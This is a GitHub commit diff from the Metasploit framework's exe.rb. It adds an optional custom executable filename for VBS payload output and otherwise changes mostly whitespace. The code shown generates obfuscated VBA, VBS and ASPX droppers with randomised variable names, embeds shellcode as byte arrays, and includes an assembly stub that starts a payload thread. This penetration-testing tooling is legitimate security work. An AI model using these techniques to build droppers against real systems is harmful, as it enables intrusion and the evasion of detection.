Skip to content

Commit dc07938

Browse files
committed
Land rapid7#5550, custom exe_filename for to_exe_vba
2 parents f5b9be7 + 37546c7 commit dc07938

File tree

1 file changed

+28
-28
lines changed

1 file changed

+28
-28
lines changed

lib/msf/util/exe.rb

Lines changed: 28 additions & 28 deletions
Original file line numberDiff line numberDiff line change
@@ -671,7 +671,7 @@ def self.replace_msi_buffer(pe, opts)
671671

672672
msi = self.get_file_contents(template)
673673

674-
section_size = 2**(msi[30..31].unpack('v')[0])
674+
section_size = 2**(msi[30..31].unpack('v')[0])
675675

676676
# This table is one of the few cases where signed values are needed
677677
sector_allocation_table = msi[section_size..section_size*2].unpack('l<*')
@@ -978,24 +978,24 @@ def self.to_exe_vba(exes='')
978978

979979
def self.to_vba(framework,code,opts = {})
980980
hash_sub = {}
981-
hash_sub[:var_myByte] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
982-
hash_sub[:var_myArray] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
983-
hash_sub[:var_rwxpage] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
984-
hash_sub[:var_res] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
985-
hash_sub[:var_offset] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
981+
hash_sub[:var_myByte] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
982+
hash_sub[:var_myArray] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
983+
hash_sub[:var_rwxpage] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
984+
hash_sub[:var_res] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
985+
hash_sub[:var_offset] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
986986
hash_sub[:var_lpThreadAttributes] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
987987
hash_sub[:var_dwStackSize] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
988988
hash_sub[:var_lpStartAddress] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
989989
hash_sub[:var_lpParameter] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
990-
hash_sub[:var_dwCreationFlags] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
990+
hash_sub[:var_dwCreationFlags] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
991991
hash_sub[:var_lpThreadID] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
992992
hash_sub[:var_lpAddr] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
993993
hash_sub[:var_lSize] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
994994
hash_sub[:var_flAllocationType] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
995995
hash_sub[:var_flProtect] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
996-
hash_sub[:var_lDest] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
997-
hash_sub[:var_Source] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
998-
hash_sub[:var_Length] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
996+
hash_sub[:var_lDest] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
997+
hash_sub[:var_Source] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
998+
hash_sub[:var_Length] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
999999

10001000
# put the shellcode bytes into an array
10011001
hash_sub[:bytes] = Rex::Text.to_vbapplication(code, hash_sub[:var_myArray])
@@ -1035,16 +1035,16 @@ def self.to_exe_vbs(exes = '', opts = {})
10351035
persist = opts[:persist] || false
10361036

10371037
hash_sub = {}
1038+
hash_sub[:exe_filename] = opts[:exe_filename] || Rex::Text.rand_text_alpha(rand(8)+8) << '.exe'
10381039
hash_sub[:var_shellcode] = Rex::Text.rand_text_alpha(rand(8)+8)
1039-
hash_sub[:exe_filename] = Rex::Text.rand_text_alpha(rand(8)+8) << '.exe'
1040-
hash_sub[:var_fname] = Rex::Text.rand_text_alpha(rand(8)+8)
1041-
hash_sub[:var_func] = Rex::Text.rand_text_alpha(rand(8)+8)
1042-
hash_sub[:var_stream] = Rex::Text.rand_text_alpha(rand(8)+8)
1043-
hash_sub[:var_obj] = Rex::Text.rand_text_alpha(rand(8)+8)
1044-
hash_sub[:var_shell] = Rex::Text.rand_text_alpha(rand(8)+8)
1045-
hash_sub[:var_tempdir] = Rex::Text.rand_text_alpha(rand(8)+8)
1046-
hash_sub[:var_tempexe] = Rex::Text.rand_text_alpha(rand(8)+8)
1047-
hash_sub[:var_basedir] = Rex::Text.rand_text_alpha(rand(8)+8)
1040+
hash_sub[:var_fname] = Rex::Text.rand_text_alpha(rand(8)+8)
1041+
hash_sub[:var_func] = Rex::Text.rand_text_alpha(rand(8)+8)
1042+
hash_sub[:var_stream] = Rex::Text.rand_text_alpha(rand(8)+8)
1043+
hash_sub[:var_obj] = Rex::Text.rand_text_alpha(rand(8)+8)
1044+
hash_sub[:var_shell] = Rex::Text.rand_text_alpha(rand(8)+8)
1045+
hash_sub[:var_tempdir] = Rex::Text.rand_text_alpha(rand(8)+8)
1046+
hash_sub[:var_tempexe] = Rex::Text.rand_text_alpha(rand(8)+8)
1047+
hash_sub[:var_basedir] = Rex::Text.rand_text_alpha(rand(8)+8)
10481048

10491049
hash_sub[:hex_shellcode] = exes.unpack('H*').join('')
10501050

@@ -1081,13 +1081,13 @@ def self.to_exe_asp(exes = '', opts = {})
10811081

10821082
def self.to_exe_aspx(exes = '', opts = {})
10831083
hash_sub = {}
1084-
hash_sub[:var_file] = Rex::Text.rand_text_alpha(rand(8)+8)
1085-
hash_sub[:var_tempdir] = Rex::Text.rand_text_alpha(rand(8)+8)
1086-
hash_sub[:var_basedir] = Rex::Text.rand_text_alpha(rand(8)+8)
1084+
hash_sub[:var_file] = Rex::Text.rand_text_alpha(rand(8)+8)
1085+
hash_sub[:var_tempdir] = Rex::Text.rand_text_alpha(rand(8)+8)
1086+
hash_sub[:var_basedir] = Rex::Text.rand_text_alpha(rand(8)+8)
10871087
hash_sub[:var_filename] = Rex::Text.rand_text_alpha(rand(8)+8)
1088-
hash_sub[:var_tempexe] = Rex::Text.rand_text_alpha(rand(8)+8)
1088+
hash_sub[:var_tempexe] = Rex::Text.rand_text_alpha(rand(8)+8)
10891089
hash_sub[:var_iterator] = Rex::Text.rand_text_alpha(rand(8)+8)
1090-
hash_sub[:var_proc] = Rex::Text.rand_text_alpha(rand(8)+8)
1090+
hash_sub[:var_proc] = Rex::Text.rand_text_alpha(rand(8)+8)
10911091

10921092
hash_sub[:shellcode] = Rex::Text.to_csharp(exes,100,hash_sub[:var_file])
10931093

@@ -1729,8 +1729,8 @@ def self.win32_rwx_exec_thread(code, block_offset, which_offset='start')
17291729
17301730
set_handler:
17311731
xor eax,eax
1732-
; push dword [fs:eax]
1733-
; mov dword [fs:eax], esp
1732+
; push dword [fs:eax]
1733+
; mov dword [fs:eax], esp
17341734
push eax ; LPDWORD lpThreadId (NULL)
17351735
push eax ; DWORD dwCreationFlags (0)
17361736
push eax ; LPVOID lpParameter (NULL)
@@ -1741,10 +1741,10 @@ def self.win32_rwx_exec_thread(code, block_offset, which_offset='start')
17411741
call ebp ; Spawn payload thread
17421742
17431743
pop eax ; Skip
1744-
; pop eax ; Skip
1744+
; pop eax ; Skip
17451745
pop eax ; Skip
17461746
popad ; Get our registers back
1747-
; sub esp, 44 ; Move stack pointer back past the handler
1747+
; sub esp, 44 ; Move stack pointer back past the handler
17481748
^
17491749

17501750
stub_final = %Q^

0 commit comments

Comments
 (0)